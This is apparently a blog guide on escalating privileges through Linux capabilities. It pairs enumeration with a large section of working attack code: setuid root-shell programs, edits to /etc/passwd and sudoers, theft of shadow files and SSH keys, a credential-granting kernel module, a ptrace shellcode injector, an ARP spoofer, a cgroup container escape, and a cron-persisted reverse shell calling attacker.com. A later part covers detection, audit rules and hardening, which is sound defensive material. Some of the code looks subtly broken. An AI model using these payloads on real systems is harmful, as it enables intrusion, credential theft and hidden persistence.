Linux capabilities privilege escalation techniques

Linux Capabilities Exploitation: Breaking Traditional Privilege Models

Technical guide to exploiting Linux capabilities for privilege escalation, focusing on dangerous capabilities like CAP_DAC_OVERRIDE, CAP_SYS_ADMIN, and CAP_SETUID.

Introduction

Linux capabilities represent a paradigm shift in Unix privilege management, dividing the monolithic root privileges into distinct, fine-grained units that can be independently assigned to processes. Introduced in kernel 2.2 and significantly expanded in subsequent versions, capabilities were designed to implement the principle of least privilege by allowing processes to perform specific privileged operations without requiring full root access. However, this granular permission model, when misconfigured, creates sophisticated attack vectors that traditional security tools often overlook.

Unlike the traditional SETUID binary model where a program either runs as root or as a regular user, capabilities enable nuanced privilege assignments. A binary with CAP_NET_RAW can create raw network sockets without requiring root privileges, while one with CAP_DAC_OVERRIDE can bypass file permission checks. This flexibility, while powerful for system design, introduces complex security implications that defenders must understand to properly secure Linux systems.

The danger of capability misconfigurations lies in their invisibility to conventional security audits. Standard file permission checks won't reveal that a seemingly innocuous binary possesses CAP_SYS_ADMIN, granting it near-root powers. Automated vulnerability scanners rarely check for capability assignments, and many system administrators remain unaware of which binaries have been granted elevated capabilities. This knowledge gap creates opportunities for privilege escalation that persist long after traditional SETUID vulnerabilities have been addressed.

Breaking the Root Paradigm

Linux capabilities fundamentally challenge the binary root/non-root privilege model. A process can now possess specific superuser abilities while running as an unprivileged user. This means traditional assumptions about what non-root processes can accomplish no longer hold, requiring defenders to adopt capability-aware security mindsets.

Technical Background

Understanding the Capability System

The Linux capability system divides traditional root privileges into 41+ distinct capabilities (the number varies by kernel version). Each capability grants specific permissions that would otherwise require full root access:

Capability Architecture:

Traditional Model:           Capability Model:
┌─────────────┐              ┌──────────────┐
│    Root     │              │ CAP_NET_RAW  │
│  (UID 0)    │              ├──────────────┤
│             │              │ CAP_NET_ADMIN│
│ All Powers  │    ───→      ├──────────────┤
│             │              │ CAP_SYS_ADMIN│
│             │              ├──────────────┤
└─────────────┘              │ CAP_SETUID   │
                             └──────────────┘
                             ... and 37+ more

Capability Sets

Each process has multiple capability sets that determine its effective permissions:

Capability SetDescriptionInheritance Behavior
Permitted (P)Maximum capabilities the process may assumeCan be reduced but not expanded
Effective (E)Capabilities currently active and checked by kernelCan be subset of Permitted
Inheritable (I)Capabilities preserved across execve() of non-SUID programsLimited inheritance without ambient set
Bounding (B)Limit on capabilities that can be gained during execve()Restricts privilege acquisition
Ambient (A)Capabilities preserved across execve() for non-SUID binariesIntroduced in kernel 4.3

Capability Value Format:

cap_setuid = ep
│          │ │
│          │ └─ p = permitted, e = effective, i = inheritable
│          └─── Sets where capability is assigned
└──────────── Capability name

Dangerous Capabilities for Privilege Escalation

Understanding which capabilities enable privilege escalation is critical for both attackers and defenders:

CapabilityDescriptionPrivilege Escalation Method
CAP_SETUIDChange process UIDDirect escalation by setting UID to 0
CAP_SETGIDChange process GIDGain root group membership
CAP_SYS_ADMINPerform system administration operationsMount filesystems, load kernel modules, many others
CAP_DAC_OVERRIDEBypass file read/write/execute permission checksRead/modify any file including /etc/shadow
CAP_DAC_READ_SEARCHBypass file read and directory read permission checksRead sensitive files, enumerate protected directories
CAP_CHOWNMake arbitrary changes to file UIDs and GIDsChange ownership of files to gain access
CAP_FOWNERBypass permission checks on file operationsModify files not owned by process
CAP_SYS_PTRACETrace arbitrary processes with ptrace()Inject code into root processes
CAP_SYS_MODULELoad and unload kernel modulesInstall malicious kernel modules
CAP_SYS_RAWIOPerform I/O port operations, access /dev/memDirect hardware access, memory manipulation
CAP_SYS_NICERaise process priority and change schedulingManipulate process priorities
CAP_SYS_RESOURCEOverride resource limitsExhaust system resources
CAP_SYS_TIMESet system clockManipulate time-based security mechanisms
CAP_NET_RAWUse RAW and PACKET socketsNetwork packet manipulation
CAP_NET_ADMINNetwork interface configurationManipulate network settings
CAP_NET_BIND_SERVICEBind sockets to privileged ports (<1024)Impersonate privileged services
CAP_LINUX_IMMUTABLEModify immutable and append-only file attributesRemove protections from critical files

How Capabilities Are Assigned

Capabilities can be assigned to binaries using file attributes:

# View capability assignment syntax
setcap cap_setuid+ep /usr/bin/vim

# Breakdown:
# cap_setuid - The capability being assigned
# + - Add this capability
# ep - Assign to effective and permitted sets
# /usr/bin/vim - Target binary

Alternative Assignment Methods:

  1. Ambient Capabilities: Inherited across execve() for unprivileged processes
  2. Bounding Set: Inherited from parent process (init → systemd → child processes)
  3. File Capabilities: Stored in extended attributes (xattrs) of binaries
  4. Security Modules: SELinux/AppArmor can influence capability behavior

Enumeration and Discovery

System-Wide Capability Enumeration

Comprehensive scanning for binaries with capabilities:

# Standard enumeration (checks common binary locations)
getcap -r / 2>/dev/null

# Enhanced enumeration with file details
find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /bin /sbin -type f -exec getcap {} \; 2>/dev/null

# Full filesystem scan (resource intensive)
find / -type f -exec getcap {} \; 2>/dev/null | grep -v "=" | sort -u

# Alternative using find's -executable flag
find / -executable -exec getcap {} \; 2>/dev/null

# Check specific binary
getcap /usr/bin/python3.9

Typical Vulnerable Output:

/usr/bin/vim.basic cap_dac_override=eip
/usr/bin/python3.9 cap_setuid=ep
/usr/bin/perl cap_setuid+ep
/usr/bin/tar cap_dac_read_search=ep
/usr/sbin/tcpdump cap_net_raw,cap_net_admin=eip

Process Capability Inspection

Examine capabilities of running processes:

# View capabilities of current shell
grep Cap /proc/self/status

# Decode capability hex values
capsh --decode=<hex_value>

# Example: Decode capabilities from process status
cat /proc/1234/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

# Decode the values
capsh --decode=0000003fffffffff

Python Script for Automated Detection:

#!/usr/bin/env python3
import os
import subprocess

def find_capability_binaries():
    dangerous_caps = [
        'cap_setuid', 'cap_setgid', 'cap_sys_admin',
        'cap_dac_override', 'cap_dac_read_search',
        'cap_sys_ptrace', 'cap_sys_module'
    ]

    search_paths = [
        '/usr/bin', '/usr/sbin', '/usr/local/bin',
        '/usr/local/sbin', '/bin', '/sbin', '/opt'
    ]

    results = []

    for path in search_paths:
        if not os.path.exists(path):
            continue

        for root, dirs, files in os.walk(path):
            for file in files:
                filepath = os.path.join(root, file)
                try:
                    result = subprocess.run(
                        ['getcap', filepath],
                        capture_output=True,
                        text=True,
                        timeout=2
                    )

                    if result.returncode == 0 and '=' in result.stdout:
                        caps = result.stdout.strip().split('=')[1]

                        for dangerous_cap in dangerous_caps:
                            if dangerous_cap in result.stdout.lower():
                                results.append({
                                    'file': filepath,
                                    'capabilities': caps,
                                    'dangerous': dangerous_cap
                                })
                                break
                except:
                    continue

    return results

if __name__ == '__main__':
    print("[*] Scanning for dangerous capabilities...")
    findings = find_capability_binaries()

    if findings:
        print(f"\n[!] Found {len(findings)} potentially dangerous binaries:\n")
        for finding in findings:
            print(f"[+] {finding['file']}")
            print(f"    Capabilities: {finding['capabilities']}")
            print(f"    Dangerous: {finding['dangerous']}\n")
    else:
        print("[*] No dangerous capabilities found.")

Container Capability Analysis

Containers often run with reduced capability sets:

# Check container capabilities
docker run --rm -it ubuntu capsh --print

# Identify additional capabilities granted to container
docker inspect <container_id> | jq '.[0].HostConfig.CapAdd'

# List dangerous capabilities in Docker container
docker run --rm ubuntu bash -c 'grep Cap /proc/1/status'

Exploitation Techniques

CAP_SETUID Exploitation

The most straightforward path to root:

C Exploit:

// setuid_exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    printf("[*] Current UID: %d\n", getuid());
    printf("[*] Setting UID to 0...\n");

    if (setuid(0) != 0) {
        perror("setuid");
        return 1;
    }

    printf("[+] UID now: %d\n", getuid());
    printf("[*] Spawning root shell\n");

    system("/bin/bash -p");
    return 0;
}
# Compile the exploit
gcc setuid_exploit.c -o setuid_exploit

# If binary has cap_setuid capability
./setuid_exploit

# Alternative: Python with CAP_SETUID
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Perl with CAP_SETUID
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

Ruby Exploitation:

#!/usr/bin/env ruby
# If ruby has cap_setuid capability

require 'etc'

puts "[*] Current UID: #{Process.uid}"
Process::Sys.setuid(0)
puts "[+] New UID: #{Process.uid}"

exec "/bin/bash"

CAP_DAC_OVERRIDE Exploitation

Bypass all file permission checks:

Scenario 1: Modify /etc/passwd

# Binary with cap_dac_override can read/write any file
# Example: vim with cap_dac_override=eip

# View current root entry
head -n1 /etc/passwd
# root:x:0:0:root:/root:/bin/bash

# Create new root user with known password
# Generate password hash
openssl passwd -1 -salt hacked Password123!
# $1$hacked$w8qI3J7N.K8VZFqWQ1cYQ.

# Method 1: Interactive modification
/usr/bin/vim.basic /etc/passwd
# Add line: hacked::0:0:root:/root:/bin/bash

# Method 2: Non-interactive with vim
echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd

# Verify modification
su hacked
# Now root shell

Scenario 2: Read /etc/shadow

# Binary with cap_dac_override can read protected files
# Example: tar with cap_dac_read_search

# Extract password hashes
tar -czf /tmp/shadow.tar.gz /etc/shadow 2>/dev/null
cd /tmp && tar -xzf shadow.tar.gz
cat etc/shadow

# Copy to attacker machine and crack
john --wordlist=/usr/share/wordlists/rockyou.txt etc/shadow

Scenario 3: Modify Authorized SSH Keys

# Write SSH key to root's authorized_keys
cat <<'EOF' | /usr/bin/vim.basic -es /root/.ssh/authorized_keys
:r! cat /home/attacker/.ssh/id_rsa.pub
:wq
EOF

# SSH as root
ssh root@localhost

CAP_SYS_ADMIN Exploitation

Extremely powerful capability with multiple exploitation paths:

Method 1: Mount a Custom Filesystem

# CAP_SYS_ADMIN allows mounting filesystems
# Create overlay to modify system files

# Prepare exploit
mkdir /tmp/exploit
mkdir /tmp/exploit/upper
mkdir /tmp/exploit/work

# Mount overlay over /etc
mount -t overlay overlay -o lowerdir=/etc,upperdir=/tmp/exploit/upper,workdir=/tmp/exploit/work /mnt

# Modify /etc/passwd through overlay
echo 'hacker::0:0:root:/root:/bin/bash' >> /mnt/passwd

# Unmount and changes persist to /etc
umount /mnt

# Login as new root user
su hacker

Method 2: Namespace Manipulation

# Create new user namespace with root mapping
unshare -UrmC /bin/bash

# Inside namespace, we are root
id
# uid=0(root) gid=0(root) groups=0(root)

# Mount proc filesystem
mount -t proc proc /proc

# Access host filesystem
# Limitations: can't access truly privileged resources
# But can manipulate user-owned files as if root

Method 3: Kernel Module Loading (if CAP_SYS_MODULE also present)

// rootkit.c - Simple rootkit module
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/cred.h>

static int __init rootkit_init(void) {
    struct cred *new_creds;

    new_creds = prepare_creds();
    if (new_creds == NULL)
        return -ENOMEM;

    new_creds->uid.val = 0;
    new_creds->gid.val = 0;
    new_creds->euid.val = 0;
    new_creds->egid.val = 0;

    commit_creds(new_creds);

    printk(KERN_INFO "Rootkit: Granted root privileges\n");
    return 0;
}

static void __exit rootkit_exit(void) {
    printk(KERN_INFO "Rootkit: Unloaded\n");
}

module_init(rootkit_init);
module_exit(rootkit_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Attacker");
MODULE_DESCRIPTION("Privilege Escalation Module");
# Compile module
make -C /lib/modules/$(uname -r)/build M=$PWD modules

# Load module (requires CAP_SYS_MODULE)
insmod rootkit.ko

# Shell now has root privileges
id

CAP_SYS_PTRACE Exploitation

Inject code into privileged processes:

// ptrace_inject.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: %s <pid>\n", argv[0]);
        return 1;
    }

    pid_t target = atoi(argv[1]);
    struct user_regs_struct regs;

    // Attach to target process
    if (ptrace(PTRACE_ATTACH, target, NULL, NULL) == -1) {
        perror("ptrace attach");
        return 1;
    }

    waitpid(target, NULL, 0);

    // Get register state
    ptrace(PTRACE_GETREGS, target, NULL, &regs);

    // Shellcode to execute /bin/sh
    unsigned char shellcode[] =
        "\x48\x31\xd2"                     // xor rdx, rdx
        "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"  // mov rbx, '/bin//sh'
        "\x48\xc1\xeb\x08"                 // shr rbx, 8
        "\x53"                             // push rbx
        "\x48\x89\xe7"                     // mov rdi, rsp
        "\x50"                             // push rax
        "\x57"                             // push rdi
        "\x48\x89\xe6"                     // mov rsi, rsp
        "\xb0\x3b"                         // mov al, 0x3b
        "\x0f\x05";                        // syscall

    // Inject shellcode
    for (int i = 0; i < strlen(shellcode); i++) {
        ptrace(PTRACE_POKETEXT, target, regs.rip + i, shellcode[i]);
    }

    // Set instruction pointer to shellcode
    ptrace(PTRACE_SETREGS, target, NULL, &regs);

    // Resume execution
    ptrace(PTRACE_DETACH, target, NULL, NULL);

    printf("[+] Shellcode injected into PID %d\n", target);
    return 0;
}

Simpler Python Approach:

#!/usr/bin/env python3
import sys
import os

def inject_into_root_process(pid):
    """Inject commands into root-owned process"""
    try:
        # Write to process memory
        mem_path = f"/proc/{pid}/mem"
        maps_path = f"/proc/{pid}/maps"

        # Find writable memory regions
        with open(maps_path, 'r') as f:
            for line in f:
                if 'rw-p' in line and '[heap]' in line:
                    addr = int(line.split('-')[0], 16)

                    # Write shellcode to heap
                    with open(mem_path, 'rb+') as mem:
                        mem.seek(addr)
                        mem.write(b'/bin/sh\x00')

                    print(f"[+] Injected into PID {pid}")
                    return True
    except Exception as e:
        print(f"[-] Injection failed: {e}")
        return False

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <pid>")
        sys.exit(1)

    target_pid = int(sys.argv[1])
    inject_into_root_process(target_pid)

CAP_DAC_READ_SEARCH Exploitation

Read any file on the system:

# Example: tar with cap_dac_read_search
# Can read but not write

# Extract sensitive files
tar -czf /tmp/secrets.tar.gz /etc/shadow /root/.ssh/id_rsa /etc/sudoers 2>/dev/null

# Extract and read
cd /tmp
tar -xzf secrets.tar.gz
cat etc/shadow

# Read SSH keys
cat root/.ssh/id_rsa

# Use SSH key for root access
chmod 600 root/.ssh/id_rsa
ssh -i root/.ssh/id_rsa root@localhost

CAP_CHOWN Exploitation

Change file ownership arbitrarily:

# Binary with cap_chown can change any file's owner

# Method 1: Take ownership of /etc/passwd
chown $(id -u) /etc/passwd
echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker

# Method 2: Take ownership of /etc/sudoers
chown $(id -u) /etc/sudoers
echo '$(whoami) ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers
sudo -i

# Method 3: Take ownership of SUID binary
chown $(id -u) /usr/bin/sudo
chmod u+s /usr/bin/sudo
# Now sudo runs as our user but with SUID

Advanced Exploitation Scenarios

Container Escape via Capabilities

Containers with excessive capabilities can lead to host compromise:

# Check container capabilities
capsh --print | grep Current

# If CAP_SYS_ADMIN is present
# Method 1: Mount host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host

# Access host files
chroot /mnt/host

# Method 2: Exploit cgroup release_agent
# Create cgroup
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x

# Set release agent to run command on host
echo 1 > /tmp/cgrp/x/notify_on_release
echo "$(cat /proc/1/root)/tmp/payload.sh" > /tmp/cgrp/release_agent

# Create payload
cat > /tmp/payload.sh <<'EOF'
#!/bin/sh
bash -i >& /dev/tcp/attacker.com/4444 0>&1
EOF
chmod +x /tmp/payload.sh

# Trigger release agent
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Chaining Multiple Capabilities

Combine capabilities for sophisticated attacks:

Scenario: CAP_NET_RAW + CAP_NET_ADMIN

#!/usr/bin/env python3
# ARP spoofing with network capabilities

from scapy.all import *
import sys

def arp_spoof(target_ip, gateway_ip, interface):
    """Perform ARP spoofing attack"""

    # Get MAC addresses
    target_mac = getmacbyip(target_ip)
    gateway_mac = getmacbyip(gateway_ip)

    # Craft ARP packets
    target_packet = ARP(op=2, pdst=target_ip, hwdst=target_mac,
                        psrc=gateway_ip, hwsrc=get_if_hwaddr(interface))

    gateway_packet = ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac,
                         psrc=target_ip, hwsrc=get_if_hwaddr(interface))

    print(f"[*] Starting ARP spoofing: {target_ip} <-> {gateway_ip}")

    try:
        while True:
            send(target_packet, verbose=False)
            send(gateway_packet, verbose=False)
            time.sleep(2)
    except KeyboardInterrupt:
        print("\n[*] Restoring ARP tables...")
        # Restore original ARP entries
        send(ARP(op=2, pdst=target_ip, hwdst=target_mac,
                 psrc=gateway_ip, hwsrc=gateway_mac), count=5)
        send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac,
                 psrc=target_ip, hwsrc=target_mac), count=5)

if __name__ == '__main__':
    if len(sys.argv) != 4:
        print(f"Usage: {sys.argv[0]} <target_ip> <gateway_ip> <interface>")
        sys.exit(1)

    arp_spoof(sys.argv[1], sys.argv[2], sys.argv[3])

Persistence via Capabilities

Maintain access through capability manipulation:

# Add capability to your backdoor
cp /bin/bash /tmp/.hidden_shell
setcap cap_setuid+ep /tmp/.hidden_shell

# Execute for root access
/tmp/.hidden_shell -p

# Add capability to Python for reverse shell
setcap cap_setuid+ep /usr/bin/python3.9

# Create persistent reverse shell script
cat > /tmp/.reverse.py <<'EOF'
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("attacker.com",4444))
os.setuid(0)
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash","-i"])
EOF

# Add to cron for persistence
echo "*/5 * * * * /usr/bin/python3.9 /tmp/.reverse.py" | crontab -

Detection and Monitoring

File System Monitoring

Monitor for capability assignments:

# Audit script for capability changes
#!/bin/bash

BASELINE="/var/log/capabilities_baseline.txt"
CURRENT="/tmp/capabilities_current.txt"

# Create baseline if doesn't exist
if [ ! -f "$BASELINE" ]; then
    echo "[*] Creating baseline..."
    find / -type f -exec getcap {} \; 2>/dev/null | grep "=" > "$BASELINE"
    exit 0
fi

# Scan current capabilities
find / -type f -exec getcap {} \; 2>/dev/null | grep "=" > "$CURRENT"

# Compare and report differences
echo "[*] Checking for capability changes..."
diff "$BASELINE" "$CURRENT" | grep "^>" | while read line; do
    file=$(echo $line | awk '{print $2}' | cut -d'=' -f1)
    caps=$(echo $line | awk '{print $2}' | cut -d'=' -f2)
    echo "[!] NEW CAPABILITY: $file = $caps"
done

# Update baseline
cp "$CURRENT" "$BASELINE"

Auditd Rules for Capability Monitoring

# Add to /etc/audit/rules.d/capabilities.rules

# Monitor setcap usage
-w /usr/sbin/setcap -p x -k capability_modification

# Monitor getcap usage (reconnaissance)
-w /usr/sbin/getcap -p x -k capability_enumeration

# Monitor file capability changes
-a always,exit -F arch=b64 -S setxattr -F name=security.capability -k capability_set
-a always,exit -F arch=b32 -S setxattr -F name=security.capability -k capability_set

# Monitor dangerous capability usage
-a always,exit -F arch=b64 -S setuid -F a0=0 -k setuid_root
-a always,exit -F arch=b64 -S ptrace -k ptrace_usage

# Reload auditd rules
auditctl -R /etc/audit/rules.d/capabilities.rules

Sysmon for Linux

Configure Sysmon to detect capability exploitation:

<Sysmon schemaversion="4.70">
  <EventFiltering>
    <!-- Detect setcap execution -->
    <ProcessCreate onmatch="include">
      <Image condition="end with">setcap</Image>
    </ProcessCreate>

    <!-- Detect process with unusual capabilities -->
    <ProcessCreate onmatch="include">
      <Capabilities condition="contains">cap_setuid</Capabilities>
      <Capabilities condition="contains">cap_sys_admin</Capabilities>
      <Capabilities condition="contains">cap_dac_override</Capabilities>
    </ProcessCreate>

    <!-- Detect file capability changes -->
    <FileCreate onmatch="include">
      <TargetFilename condition="contains">security.capability</TargetFilename>
    </FileCreate>
  </EventFiltering>
</Sysmon>

Runtime Detection

Monitor running processes for suspicious capabilities:

#!/usr/bin/env python3
import os
import re
from pathlib import Path

DANGEROUS_CAPS = [
    'cap_setuid', 'cap_setgid', 'cap_sys_admin',
    'cap_dac_override', 'cap_sys_ptrace', 'cap_sys_module'
]

def decode_capabilities(hex_value):
    """Convert hex capability value to capability names"""
    # Simplified - in reality, need full capability mapping
    value = int(hex_value, 16)
    caps = []

    cap_map = {
        0: 'cap_chown', 1: 'cap_dac_override', 2: 'cap_dac_read_search',
        3: 'cap_fowner', 4: 'cap_fsetid', 5: 'cap_kill',
        6: 'cap_setgid', 7: 'cap_setuid', 8: 'cap_setpcap',
        # ... complete mapping
    }

    for bit, cap in cap_map.items():
        if value & (1 << bit):
            caps.append(cap)

    return caps

def scan_processes():
    """Scan all running processes for dangerous capabilities"""
    dangerous_procs = []

    for proc_dir in Path('/proc').iterdir():
        if not proc_dir.is_dir() or not proc_dir.name.isdigit():
            continue

        try:
            status_file = proc_dir / 'status'
            with open(status_file, 'r') as f:
                content = f.read()

            # Extract capability values
            cap_eff = re.search(r'CapEff:\s+([0-9a-f]+)', content)
            if not cap_eff:
                continue

            caps = decode_capabilities(cap_eff.group(1))

            # Check for dangerous capabilities
            dangerous = [c for c in caps if c in DANGEROUS_CAPS]
            if dangerous:
                cmdline_file = proc_dir / 'cmdline'
                with open(cmdline_file, 'r') as f:
                    cmdline = f.read().replace('\x00', ' ')

                dangerous_procs.append({
                    'pid': proc_dir.name,
                    'cmdline': cmdline,
                    'capabilities': dangerous
                })

        except (PermissionError, FileNotFoundError):
            continue

    return dangerous_procs

if __name__ == '__main__':
    print("[*] Scanning for processes with dangerous capabilities...")
    findings = scan_processes()

    if findings:
        print(f"\n[!] Found {len(findings)} suspicious processes:\n")
        for proc in findings:
            print(f"PID: {proc['pid']}")
            print(f"Command: {proc['cmdline']}")
            print(f"Dangerous Capabilities: {', '.join(proc['capabilities'])}\n")
    else:
        print("[*] No suspicious processes detected.")

Mitigation and Defense

Remove Unnecessary Capabilities

Audit and remove excessive capability assignments:

# Audit all capability assignments
getcap -r / 2>/dev/null > /tmp/capabilities_audit.txt

# Review each assignment
cat /tmp/capabilities_audit.txt

# Remove capability from binary
sudo setcap -r /usr/bin/suspicious_binary

# Verify removal
getcap /usr/bin/suspicious_binary

# Automated cleanup script
#!/bin/bash
while read line; do
    binary=$(echo $line | awk '{print $1}')
    caps=$(echo $line | awk '{print $2}')

    # Check if binary actually needs capabilities
    echo "Binary: $binary"
    echo "Capabilities: $caps"
    read -p "Remove capabilities? (y/n): " answer

    if [ "$answer" = "y" ]; then
        setcap -r "$binary"
        echo "[+] Removed capabilities from $binary"
    fi
done < /tmp/capabilities_audit.txt

Implement AppArmor/SELinux Policies

Confine binaries with capabilities:

AppArmor Profile Example:

# /etc/apparmor.d/usr.bin.python3.9
#include <tunables/global>

/usr/bin/python3.9 flags=(complain) {
  #include <abstractions/base>
  #include <abstractions/python>

  # Deny capability usage
  deny capability setuid,
  deny capability setgid,
  deny capability sys_admin,

  # Allow only specific file access
  /usr/bin/python3.9 mr,
  /usr/lib/python3.9/** r,

  # Deny sensitive file access
  deny /etc/shadow r,
  deny /etc/sudoers r,
  deny /root/** rw,

  # Network access
  network inet stream,
  network inet6 stream,
}

SELinux Policy Module:

module cap_restrict 1.0;

require {
    type unconfined_t;
    class capability { setuid sys_admin dac_override };
}

# Deny dangerous capabilities by default
neverallow unconfined_t self:capability { setuid sys_admin dac_override };

# Allow only for specific domains
allow trusted_app_t self:capability setuid;

Secure Development Practices

Minimize capability requirements in applications:

// Example: Drop unnecessary capabilities

#include <sys/prctl.h>
#include <linux/capability.h>

void drop_capabilities(void) {
    // Keep only required capabilities
    cap_t caps = cap_init();

    // Add only necessary capabilities
    cap_value_t cap_list[] = {CAP_NET_BIND_SERVICE};
    cap_set_flag(caps, CAP_EFFECTIVE, 1, cap_list, CAP_SET);
    cap_set_flag(caps, CAP_PERMITTED, 1, cap_list, CAP_SET);

    // Apply capability set
    if (cap_set_proc(caps) != 0) {
        perror("cap_set_proc");
        exit(1);
    }

    cap_free(caps);

    // Prevent privilege escalation
    prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
}

int main(void) {
    // Drop capabilities early in execution
    drop_capabilities();

    // Continue with minimal privileges
    bind_to_port_80();

    return 0;
}

Kernel Hardening

Configure kernel to restrict capability behavior:

# /etc/sysctl.d/99-capability-hardening.conf

# Restrict unprivileged users from creating user namespaces
# Prevents some capability escalation techniques
kernel.unprivileged_userns_clone = 0

# Restrict access to kernel pointers
kernel.kptr_restrict = 2

# Enable YAMA ptrace restrictions
kernel.yama.ptrace_scope = 2

# Disable kernel module loading
kernel.modules_disabled = 1

# Apply settings
sysctl -p /etc/sysctl.d/99-capability-hardening.conf

Defensive Best Practices

Capability Security Checklist

  • Audit all binaries for capability assignments using getcap -r /
  • Remove unnecessary capabilities from system binaries
  • Implement AppArmor/SELinux policies to confine capability usage
  • Enable auditd monitoring for setcap and capability usage
  • Review container capabilities and apply principle of least privilege
  • Restrict user namespace creation to prevent capability abuse
  • Monitor for suspicious capability-related events in logs
  • Educate developers on proper capability usage
  • Implement file integrity monitoring for capability changes
  • Regular capability audits as part of security reviews

Monitoring and Response

Implement comprehensive capability monitoring:

# /usr/local/bin/capability_monitor.sh
#!/bin/bash

LOG_FILE="/var/log/capability_monitor.log"
ALERT_EMAIL="[email protected]"

log_alert() {
    echo "[$(date)] $1" >> "$LOG_FILE"
    echo "$1" | mail -s "Capability Alert" "$ALERT_EMAIL"
}

# Monitor setcap usage
inotifywait -m /usr/sbin/setcap -e access |
while read path action file; do
    log_alert "ALERT: setcap executed by $(ps -o user= -p $PPID)"
done &

# Monitor for new capabilities
BASELINE=$(getcap -r / 2>/dev/null | sort)
while true; do
    sleep 300  # Check every 5 minutes
    CURRENT=$(getcap -r / 2>/dev/null | sort)

    DIFF=$(diff <(echo "$BASELINE") <(echo "$CURRENT") | grep "^>")

    if [ -n "$DIFF" ]; then
        log_alert "NEW CAPABILITIES DETECTED:\n$DIFF"
        BASELINE="$CURRENT"
    fi
done &

# Monitor dangerous capability usage in running processes
while true; do
    sleep 60

    for pid in $(ps -e -o pid --no-headers); do
        caps=$(grep CapEff /proc/$pid/status 2>/dev/null | awk '{print $2}')

        # Check for dangerous capabilities (simplified check)
        if [ -n "$caps" ] && [ "$caps" != "0000000000000000" ]; then
            cmdline=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ')
            log_alert "Process with capabilities: PID=$pid CMD=$cmdline CAPS=$caps"
        fi
    done
done

Verification and Testing

Validate Security Posture

# Comprehensive capability security test
#!/bin/bash

echo "[*] Starting capability security audit..."

# Test 1: Check for dangerous capabilities
echo -e "\n[*] Test 1: Scanning for dangerous capabilities..."
DANGEROUS_BINS=$(getcap -r / 2>/dev/null | grep -E "cap_setuid|cap_sys_admin|cap_dac_override")

if [ -n "$DANGEROUS_BINS" ]; then
    echo "[!] FAIL: Found binaries with dangerous capabilities:"
    echo "$DANGEROUS_BINS"
else
    echo "[+] PASS: No dangerous capabilities found"
fi

# Test 2: Verify kernel hardening
echo -e "\n[*] Test 2: Checking kernel capability restrictions..."
USERNS=$(sysctl kernel.unprivileged_userns_clone | grep "= 0")

if [ -n "$USERNS" ]; then
    echo "[+] PASS: Unprivileged user namespaces disabled"
else
    echo "[!] FAIL: Unprivileged user namespaces enabled"
fi

# Test 3: Check AppArmor/SELinux status
echo -e "\n[*] Test 3: Checking mandatory access control..."
if command -v aa-status &> /dev/null; then
    if aa-status --enabled 2>/dev/null; then
        echo "[+] PASS: AppArmor is enabled"
    else
        echo "[!] FAIL: AppArmor not enabled"
    fi
elif command -v getenforce &> /dev/null; then
    if [ "$(getenforce)" = "Enforcing" ]; then
        echo "[+] PASS: SELinux is enforcing"
    else
        echo "[!] FAIL: SELinux not enforcing"
    fi
else
    echo "[!] FAIL: No MAC system detected"
fi

# Test 4: Audit monitoring
echo -e "\n[*] Test 4: Checking audit rules..."
AUDIT_RULES=$(auditctl -l | grep -i capability)

if [ -n "$AUDIT_RULES" ]; then
    echo "[+] PASS: Capability monitoring rules present"
else
    echo "[!] FAIL: No capability audit rules found"
fi

echo -e "\n[*] Audit complete."

References

Next Steps

If capability vulnerabilities are identified:

  • Immediately audit all binaries with dangerous capabilities
  • Remove unnecessary capability assignments from system binaries
  • Implement monitoring for capability modifications and usage
  • Deploy MAC policies to confine capability-enabled binaries
  • Harden kernel settings to restrict capability abuse vectors
  • Explore related Linux privilege escalation techniques:

Takeaway: Linux capabilities represent a double-edged sword in system security—providing granular privilege management while creating complex attack surfaces when misconfigured. Unlike traditional SETUID vulnerabilities that security tools readily detect, capability misconfigurations often remain invisible to automated scanners and defenders. The combination of comprehensive capability auditing, mandatory access control policies, kernel hardening, and real-time monitoring provides defense-in-depth against this sophisticated attack vector. Make capability security a critical component of your Linux hardening program.

Last updated on

Linux Capabilities Exploitation: Breaking Traditional Privilege Models | Drake Axelrod